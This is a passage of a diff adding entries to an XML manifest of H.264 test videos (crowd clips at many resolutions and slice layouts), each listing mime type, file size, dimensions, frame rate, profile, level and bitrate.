+    <value>mime=video/avc,size=66588,width=480,height=480,frame-rate=50,profile=2,level=512,bitrate=816784,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_480x640p50f32_1200kbps_mp.mp4">
+    <value>mime=video/avc,size=90927,width=480,height=640,frame-rate=50,profile=2,level=512,bitrate=1120736,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_480x720p50f32_1300kbps_mp.mp4">
+    <value>mime=video/avc,size=100070,width=480,height=720,frame-rate=50,profile=2,level=512,bitrate=1235024,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_480x848p50f32_1600kbps_mp.mp4">
+    <value>mime=video/avc,size=121917,width=480,height=848,frame-rate=50,profile=2,level=512,bitrate=1508112,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_48x64p50f32_200kbps_mp.mp4">
+    <value>mime=video/avc,size=11093,width=48,height=64,frame-rate=50,profile=2,level=16,bitrate=124608,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_512x288p50f32_500kbps_mp.mp4">
+    <value>mime=video/avc,size=35423,width=512,height=288,frame-rate=50,profile=2,level=256,bitrate=427632,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_512x384p50f32_700kbps_mp.mp4">
+    <value>mime=video/avc,size=50309,width=512,height=384,frame-rate=50,profile=2,level=256,bitrate=613008,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_512x512p50f32_1000kbps_mp.mp4">
+    <value>mime=video/avc,size=74581,width=512,height=512,frame-rate=50,profile=2,level=512,bitrate=916496,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_528x704p50f32_1400kbps_mp.mp4">
+    <value>mime=video/avc,size=108609,width=528,height=704,frame-rate=50,profile=2,level=512,bitrate=1341744,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_576x1024p50f32_2300kbps_mp.mp4">
+    <value>mime=video/avc,size=187589,width=576,height=1024,frame-rate=50,profile=2,level=1024,bitrate=2328984,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_576x704p50f32_1600kbps_mp.mp4">
+    <value>mime=video/avc,size=125932,width=576,height=704,frame-rate=50,profile=2,level=512,bitrate=1558280,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_576x720p50f32_1600kbps_mp.mp4">
+    <value>mime=video/avc,size=126584,width=576,height=720,frame-rate=50,profile=2,level=512,bitrate=1566432,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_600x800p50f32_1900kbps_mp.mp4">
+    <value>mime=video/avc,size=149046,width=600,height=800,frame-rate=50,profile=2,level=512,bitrate=1847200,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_636x358p50f32_900kbps_mp.mp4">
+    <value>mime=video/avc,size=65834,width=636,height=358,frame-rate=50,profile=2,level=512,bitrate=807144,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_636x360p50f32_900kbps_mp.mp4">
+    <value>mime=video/avc,size=65898,width=636,height=360,frame-rate=50,profile=2,level=512,bitrate=807944,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_638x356p50f32_900kbps_mp.mp4">
+    <value>mime=video/avc,size=66209,width=638,height=356,frame-rate=50,profile=2,level=512,bitrate=811936,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_638x360p50f32_900kbps_mp.mp4">
+    <value>mime=video/avc,size=65706,width=638,height=360,frame-rate=50,profile=2,level=512,bitrate=805648,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_640x356p50f32_900kbps_mp.mp4">
+    <value>mime=video/avc,size=66410,width=640,height=356,frame-rate=50,profile=2,level=512,bitrate=814456,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_640x358p50f32_900kbps_mp.mp4">
+    <value>mime=video/avc,size=66385,width=640,height=358,frame-rate=50,profile=2,level=512,bitrate=814248,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_640x360p50f32_900kbps_mp.mp4">
+    <value>mime=video/avc,size=66239,width=640,height=360,frame-rate=50,profile=2,level=512,bitrate=812224,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_640x480p50f32_1200kbps_mp.mp4">
+    <value>mime=video/avc,size=91485,width=640,height=480,frame-rate=50,profile=2,level=512,bitrate=1127808,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_640x640p50f32_1600kbps_mp.mp4">
+    <value>mime=video/avc,size=125839,width=640,height=640,frame-rate=50,profile=2,level=512,bitrate=1557120,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_640x848p50f32_2100kbps_mp.mp4">
+    <value>mime=video/avc,size=167592,width=640,height=848,frame-rate=50,profile=2,level=512,bitrate=2079032,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_640x960p50f32_2400kbps_mp.mp4">
+    <value>mime=video/avc,size=195906,width=640,height=960,frame-rate=50,profile=2,level=1024,bitrate=2432960,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_64x1080p50f32_200kbps_mp.mp4">
+    <value>mime=video/avc,size=12811,width=64,height=1080,frame-rate=50,profile=2,level=64,bitrate=144256,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_64x1280p50f32_300kbps_mp.mp4">
+    <value>mime=video/avc,size=18838,width=64,height=1280,frame-rate=50,profile=2,level=128,bitrate=219608,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_64x1920p50f32_400kbps_mp.mp4">
+    <value>mime=video/avc,size=25412,width=64,height=1920,frame-rate=50,profile=2,level=512,bitrate=301784,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_64x48p50f32_200kbps_mp.mp4">
+    <value>mime=video/avc,size=11198,width=64,height=48,frame-rate=50,profile=2,level=16,bitrate=126824,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_64x64p50f32_200kbps_mp.mp4">
+    <value>mime=video/avc,size=11818,width=64,height=64,frame-rate=50,profile=2,level=16,bitrate=135624,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_64x720p50f32_200kbps_mp.mp4">
+    <value>mime=video/avc,size=12619,width=64,height=720,frame-rate=50,profile=2,level=16,bitrate=141872,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_64x96p50f32_200kbps_mp.mp4">
+    <value>mime=video/avc,size=11987,width=64,height=96,frame-rate=50,profile=2,level=16,bitrate=135280,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_704x528p50f32_1400kbps_mp.mp4">
+    <value>mime=video/avc,size=108268,width=704,height=528,frame-rate=50,profile=2,level=512,bitrate=1337480,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_704x576p50f32_1600kbps_mp.mp4">
+    <value>mime=video/avc,size=125653,width=704,height=576,frame-rate=50,profile=2,level=512,bitrate=1554800,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_704x704p50f32_1900kbps_mp.mp4">
+    <value>mime=video/avc,size=153502,width=704,height=704,frame-rate=50,profile=2,level=512,bitrate=1902912,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_720x1280p50f32_3600kbps_mp.mp4">
+    <value>mime=video/avc,size=308684,width=720,height=1280,frame-rate=50,profile=2,level=1024,bitrate=3842672,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_720x16p50f32_200kbps_mp.mp4">
+    <value>mime=video/avc,size=12892,width=720,height=16,frame-rate=50,profile=2,level=16,bitrate=147208,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_720x480p50f32_1300kbps_mp.mp4">
+    <value>mime=video/avc,size=100078,width=720,height=480,frame-rate=50,profile=2,level=512,bitrate=1235024,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_720x576p50f32_1600kbps_mp.mp4">
+    <value>mime=video/avc,size=125746,width=720,height=576,frame-rate=50,profile=2,level=512,bitrate=1555960,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_720x64p50f32_200kbps_mp.mp4">
+    <value>mime=video/avc,size=12764,width=720,height=64,frame-rate=50,profile=2,level=16,bitrate=143880,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_720x720p50f32_2000kbps_mp.mp4">
+    <value>mime=video/avc,size=162293,width=720,height=720,frame-rate=50,profile=2,level=512,bitrate=2012800,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_720x960p50f32_2700kbps_mp.mp4">
+    <value>mime=video/avc,size=224675,width=720,height=960,frame-rate=50,profile=2,level=1024,bitrate=2792568,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_72x128p50f32_200kbps_mp.mp4">
+    <value>mime=video/avc,size=12204,width=72,height=128,frame-rate=50,profile=2,level=16,bitrate=137096,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_72x96p50f32_200kbps_mp.mp4">
+    <value>mime=video/avc,size=12289,width=72,height=96,frame-rate=50,profile=2,level=16,bitrate=139048,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_768x1024p50f32_3100kbps_mp.mp4">
+    <value>mime=video/avc,size=263584,width=768,height=1024,frame-rate=50,profile=2,level=1024,bitrate=3278920,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_800x600p50f32_1900kbps_mp.mp4">
+    <value>mime=video/avc,size=153292,width=800,height=600,frame-rate=50,profile=2,level=512,bitrate=1900272,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_800x800p50f32_2500kbps_mp.mp4">
+    <value>mime=video/avc,size=205061,width=800,height=800,frame-rate=50,profile=2,level=1024,bitrate=2547400,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_848x480p50f32_1600kbps_mp.mp4">
+    <value>mime=video/avc,size=127318,width=848,height=480,frame-rate=50,profile=2,level=512,bitrate=1575624,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_848x640p50f32_2100kbps_mp.mp4">
+    <value>mime=video/avc,size=171859,width=848,height=640,frame-rate=50,profile=2,level=512,bitrate=2132368,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_848x848p50f32_2800kbps_mp.mp4">
+    <value>mime=video/avc,size=233883,width=848,height=848,frame-rate=50,profile=2,level=1024,bitrate=2907672,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_8x8p50f32_200kbps_mp.mp4">
+    <value>mime=video/avc,size=4290,width=8,height=8,frame-rate=50,profile=2,level=16,bitrate=39568,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_960x1280p50f32_4900kbps_mp.mp4">
+    <value>mime=video/avc,size=438883,width=960,height=1280,frame-rate=50,profile=2,level=2048,bitrate=5470160,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_960x1440p50f32_5500kbps_mp.mp4">
+    <value>mime=video/avc,size=500984,width=960,height=1440,frame-rate=50,profile=2,level=8192,bitrate=6246424,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_960x640p50f32_2400kbps_mp.mp4">
+    <value>mime=video/avc,size=200659,width=960,height=640,frame-rate=50,profile=2,level=1024,bitrate=2492368,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_960x720p50f32_2700kbps_mp.mp4">
+    <value>mime=video/avc,size=229279,width=960,height=720,frame-rate=50,profile=2,level=1024,bitrate=2850120,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_960x960p50f32_3600kbps_mp.mp4">
+    <value>mime=video/avc,size=313704,width=960,height=960,frame-rate=50,profile=2,level=1024,bitrate=3905432,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_96x128p50f32_200kbps_mp.mp4">
+    <value>mime=video/avc,size=12441,width=96,height=128,frame-rate=50,profile=2,level=16,bitrate=140072,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_96x144p50f32_200kbps_mp.mp4">
+    <value>mime=video/avc,size=12096,width=96,height=144,frame-rate=50,profile=2,level=16,bitrate=135760,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_96x176p50f32_200kbps_mp.mp4">
+    <value>mime=video/avc,size=12277,width=96,height=176,frame-rate=50,profile=2,level=16,bitrate=137920,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_96x64p50f32_200kbps_mp.mp4">
+    <value>mime=video/avc,size=11982,width=96,height=64,frame-rate=50,profile=2,level=16,bitrate=137672,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_96x72p50f32_200kbps_mp.mp4">
+    <value>mime=video/avc,size=12083,width=96,height=72,frame-rate=50,profile=2,level=16,bitrate=136368,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/resolutions/crowd_96x96p50f32_200kbps_mp.mp4">
+    <value>mime=video/avc,size=12293,width=96,height=96,frame-rate=50,profile=2,level=16,bitrate=138912,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/slices/crowd_1280x720p50f32/crowd_1280x720p50f32_1024byte_slices_mp.mp4">
+    <value>mime=video/avc,size=271360,width=1280,height=720,frame-rate=50,profile=2,level=1024,bitrate=3376120,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/slices/crowd_1280x720p50f32/crowd_1280x720p50f32_2048byte_slices_mp.mp4">
+    <value>mime=video/avc,size=269265,width=1280,height=720,frame-rate=50,profile=2,level=1024,bitrate=3349936,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/slices/crowd_1280x720p50f32/crowd_1280x720p50f32_256byte_slices_mp.mp4">
+    <value>mime=video/avc,size=281525,width=1280,height=720,frame-rate=50,profile=2,level=1024,bitrate=3503184,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/slices/crowd_1280x720p50f32/crowd_1280x720p50f32_2slices_mp.mp4">
+    <value>mime=video/avc,size=266014,width=1280,height=720,frame-rate=50,profile=2,level=1024,bitrate=3309296,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/slices/crowd_1280x720p50f32/crowd_1280x720p50f32_2slices_perrow_mp.mp4">
+    <value>mime=video/avc,size=273183,width=1280,height=720,frame-rate=50,profile=2,level=1024,bitrate=3398912,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/slices/crowd_1280x720p50f32/crowd_1280x720p50f32_4slices_mp.mp4">
+    <value>mime=video/avc,size=266106,width=1280,height=720,frame-rate=50,profile=2,level=1024,bitrate=3310448,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/slices/crowd_1280x720p50f32/crowd_1280x720p50f32_a4slices_mp.mp4">
+    <value>mime=video/avc,size=265415,width=1280,height=720,frame-rate=50,profile=2,level=1024,bitrate=3301808,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/slices/crowd_1280x720p50f32/crowd_1280x720p50f32_gt1_slices_perrow_mp.mp4">
+    <value>mime=video/avc,size=282911,width=1280,height=720,frame-rate=50,profile=2,level=1024,bitrate=3520512,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/slices/crowd_1280x720p50f32/crowd_1280x720p50f32_lt1_slices_perrow_mp.mp4">
+    <value>mime=video/avc,size=281981,width=1280,height=720,frame-rate=50,profile=2,level=1024,bitrate=3508880,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/slices/crowd_1280x720p50f32/crowd_1280x720p50f32_max128slices_mp.mp4">
+    <value>mime=video/avc,size=308086,width=1280,height=720,frame-rate=50,profile=2,level=1024,bitrate=3835200,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/slices/crowd_1280x720p50f32/crowd_1280x720p50f32_max64slices_mp.mp4">
+    <value>mime=video/avc,size=288442,width=1280,height=720,frame-rate=50,profile=2,level=1024,bitrate=3589648,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/slices/crowd_1280x720p50f32/crowd_1280x720p50f32_slicerows_mp.mp4">
+    <value>mime=video/avc,size=282384,width=1280,height=720,frame-rate=50,profile=2,level=1024,bitrate=3513920,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/slices/crowd_1920x1080p50f32/crowd_1920x1080p50f32_1024byte_slices_mp.mp4">
+    <value>mime=video/avc,size=616008,width=1920,height=1080,frame-rate=50,profile=2,level=8192,bitrate=7684208,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/slices/crowd_1920x1080p50f32/crowd_1920x1080p50f32_2048byte_slices_mp.mp4">
+    <value>mime=video/avc,size=609757,width=1920,height=1080,frame-rate=50,profile=2,level=8192,bitrate=7606072,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/slices/crowd_1920x1080p50f32/crowd_1920x1080p50f32_2slices_mp.mp4">
+    <value>mime=video/avc,size=597030,width=1920,height=1080,frame-rate=50,profile=2,level=8192,bitrate=7446984,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/slices/crowd_1920x1080p50f32/crowd_1920x1080p50f32_2slices_perrow_mp.mp4">
+    <value>mime=video/avc,size=616005,width=1920,height=1080,frame-rate=50,profile=2,level=8192,bitrate=7684168,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/slices/crowd_1920x1080p50f32/crowd_1920x1080p50f32_4slices_mp.mp4">
+    <value>mime=video/avc,size=597542,width=1920,height=1080,frame-rate=50,profile=2,level=8192,bitrate=7453384,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/slices/crowd_1920x1080p50f32/crowd_1920x1080p50f32_a4slices_mp.mp4">
+    <value>mime=video/avc,size=598537,width=1920,height=1080,frame-rate=50,profile=2,level=8192,bitrate=7465824,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/slices/crowd_1920x1080p50f32/crowd_1920x1080p50f32_gt1_slices_perrow_mp.mp4">
+    <value>mime=video/avc,size=639049,width=1920,height=1080,frame-rate=50,profile=2,level=8192,bitrate=7972224,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/slices/crowd_1920x1080p50f32/crowd_1920x1080p50f32_lt1_slices_perrow_mp.mp4">
+    <value>mime=video/avc,size=637445,width=1920,height=1080,frame-rate=50,profile=2,level=8192,bitrate=7952168,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/slices/crowd_1920x1080p50f32/crowd_1920x1080p50f32_max128slices_mp.mp4">
+    <value>mime=video/avc,size=659483,width=1920,height=1080,frame-rate=50,profile=2,level=8192,bitrate=8227648,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/slices/crowd_1920x1080p50f32/crowd_1920x1080p50f32_max64slices_mp.mp4">
+    <value>mime=video/avc,size=635862,width=1920,height=1080,frame-rate=50,profile=2,level=8192,bitrate=7932384,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/slices/crowd_1920x1080p50f32/crowd_1920x1080p50f32_slicerows_mp.mp4">
+    <value>mime=video/avc,size=637650,width=1920,height=1080,frame-rate=50,profile=2,level=8192,bitrate=7954736,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/slices/crowd_3840x2160p50f32/crowd_3840x2160p50f32_1024byte_slices_mp.mp4">
+    <value>mime=video/avc,size=1583958,width=3840,height=2160,frame-rate=50,profile=2,level=65536,bitrate=19783600,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/slices/crowd_3840x2160p50f32/crowd_3840x2160p50f32_2048byte_slices_mp.mp4">
+    <value>mime=video/avc,size=1555600,width=3840,height=2160,frame-rate=50,profile=2,level=65536,bitrate=19429120,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/slices/crowd_3840x2160p50f32/crowd_3840x2160p50f32_2slices_mp.mp4">
+    <value>mime=video/avc,size=1493778,width=3840,height=2160,frame-rate=50,profile=2,level=65536,bitrate=18656344,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/slices/crowd_3840x2160p50f32/crowd_3840x2160p50f32_2slices_perrow_mp.mp4">
+    <value>mime=video/avc,size=1565214,width=3840,height=2160,frame-rate=50,profile=2,level=65536,bitrate=19549296,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/slices/crowd_3840x2160p50f32/crowd_3840x2160p50f32_4slices_mp.mp4">
+    <value>mime=video/avc,size=1497789,width=3840,height=2160,frame-rate=50,profile=2,level=65536,bitrate=18706480,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/slices/crowd_3840x2160p50f32/crowd_3840x2160p50f32_a4slices_mp.mp4">
+    <value>mime=video/avc,size=1498092,width=3840,height=2160,frame-rate=50,profile=2,level=65536,bitrate=18710272,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/slices/crowd_3840x2160p50f32/crowd_3840x2160p50f32_gt1_slices_perrow_mp.mp4">
+    <value>mime=video/avc,size=1644101,width=3840,height=2160,frame-rate=50,profile=2,level=65536,bitrate=20535384,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/slices/crowd_3840x2160p50f32/crowd_3840x2160p50f32_lt1_slices_perrow_mp.mp4">
+    <value>mime=video/avc,size=1642695,width=3840,height=2160,frame-rate=50,profile=2,level=65536,bitrate=20517808,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/slices/crowd_3840x2160p50f32/crowd_3840x2160p50f32_max128slices_mp.mp4">
+    <value>mime=video/avc,size=1636367,width=3840,height=2160,frame-rate=50,profile=2,level=65536,bitrate=20438712,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/slices/crowd_3840x2160p50f32/crowd_3840x2160p50f32_max64slices_mp.mp4">
+    <value>mime=video/avc,size=1564491,width=3840,height=2160,frame-rate=50,profile=2,level=65536,bitrate=19540256,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/slices/crowd_3840x2160p50f32/crowd_3840x2160p50f32_slicerows_mp.mp4">
+    <value>mime=video/avc,size=1641628,width=3840,height=2160,frame-rate=50,profile=2,level=65536,bitrate=20504472,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/slices/crowd_640x360p50f32/crowd_640x360p50f32_1024byte_slices_mp.mp4">
+    <value>mime=video/avc,size=35606,width=640,height=360,frame-rate=50,profile=2,level=512,bitrate=429312,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/slices/crowd_640x360p50f32/crowd_640x360p50f32_2048byte_slices_mp.mp4">
+    <value>mime=video/avc,size=35359,width=640,height=360,frame-rate=50,profile=2,level=512,bitrate=426224,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/slices/crowd_640x360p50f32/crowd_640x360p50f32_256byte_slices_mp.mp4">
+    <value>mime=video/avc,size=36377,width=640,height=360,frame-rate=50,profile=2,level=512,bitrate=438944,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/slices/crowd_640x360p50f32/crowd_640x360p50f32_2slices_mp.mp4">
+    <value>mime=video/avc,size=35490,width=640,height=360,frame-rate=50,profile=2,level=512,bitrate=427856,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/slices/crowd_640x360p50f32/crowd_640x360p50f32_2slices_perrow_mp.mp4">
+    <value>mime=video/avc,size=36951,width=640,height=360,frame-rate=50,profile=2,level=512,bitrate=446120,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/slices/crowd_640x360p50f32/crowd_640x360p50f32_4mbs_perslice_mp.mp4">
+    <value>mime=video/avc,size=141273,width=640,height=360,frame-rate=50,profile=2,level=512,bitrate=1750144,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/slices/crowd_640x360p50f32/crowd_640x360p50f32_4slices_mp.mp4">
+    <value>mime=video/avc,size=35839,width=640,height=360,frame-rate=50,profile=2,level=512,bitrate=432224,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/slices/crowd_640x360p50f32/crowd_640x360p50f32_a4slices_mp.mp4">
+    <value>mime=video/avc,size=35597,width=640,height=360,frame-rate=50,profile=2,level=512,bitrate=429200,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/slices/crowd_640x360p50f32/crowd_640x360p50f32_gt1_slices_perrow_mp.mp4">
+    <value>mime=video/avc,size=40424,width=640,height=360,frame-rate=50,profile=2,level=512,bitrate=489536,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/slices/crowd_640x360p50f32/crowd_640x360p50f32_lt1_slices_perrow_mp.mp4">
+    <value>mime=video/avc,size=39563,width=640,height=360,frame-rate=50,profile=2,level=512,bitrate=478768,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/slices/crowd_640x360p50f32/crowd_640x360p50f32_max128slices_mp.mp4">
+    <value>mime=video/avc,size=90339,width=640,height=360,frame-rate=50,profile=2,level=512,bitrate=1113472,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/slices/crowd_640x360p50f32/crowd_640x360p50f32_max64slices_mp.mp4">
+    <value>mime=video/avc,size=57221,width=640,height=360,frame-rate=50,profile=2,level=512,bitrate=699496,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/slices/crowd_640x360p50f32/crowd_640x360p50f32_slicerows_mp.mp4">
+    <value>mime=video/avc,size=40042,width=640,height=360,frame-rate=50,profile=2,level=512,bitrate=484760,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/slices/crowd_854x480p50f32/crowd_854x480p50f32_1024byte_slices_mp.mp4">
+    <value>mime=video/avc,size=120006,width=854,height=480,frame-rate=50,profile=2,level=512,bitrate=1484312,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/slices/crowd_854x480p50f32/crowd_854x480p50f32_2048byte_slices_mp.mp4">
+    <value>mime=video/avc,size=119408,width=854,height=480,frame-rate=50,profile=2,level=512,bitrate=1476832,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/slices/crowd_854x480p50f32/crowd_854x480p50f32_256byte_slices_mp.mp4">
+    <value>mime=video/avc,size=123810,width=854,height=480,frame-rate=50,profile=2,level=512,bitrate=1531856,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/slices/crowd_854x480p50f32/crowd_854x480p50f32_2slices_mp.mp4">
+    <value>mime=video/avc,size=118796,width=854,height=480,frame-rate=50,profile=2,level=512,bitrate=1469184,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/slices/crowd_854x480p50f32/crowd_854x480p50f32_2slices_perrow_mp.mp4">
+    <value>mime=video/avc,size=122080,width=854,height=480,frame-rate=50,profile=2,level=512,bitrate=1510232,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/slices/crowd_854x480p50f32/crowd_854x480p50f32_4mbs_perslice_mp.mp4">
+    <value>mime=video/avc,size=285311,width=854,height=480,frame-rate=50,profile=2,level=512,bitrate=3550624,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/slices/crowd_854x480p50f32/crowd_854x480p50f32_4slices_mp.mp4">
+    <value>mime=video/avc,size=119297,width=854,height=480,frame-rate=50,profile=2,level=512,bitrate=1475448,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/slices/crowd_854x480p50f32/crowd_854x480p50f32_a4slices_mp.mp4">
+    <value>mime=video/avc,size=118893,width=854,height=480,frame-rate=50,profile=2,level=512,bitrate=1470400,max-bitrate=</value>
+  </entry>
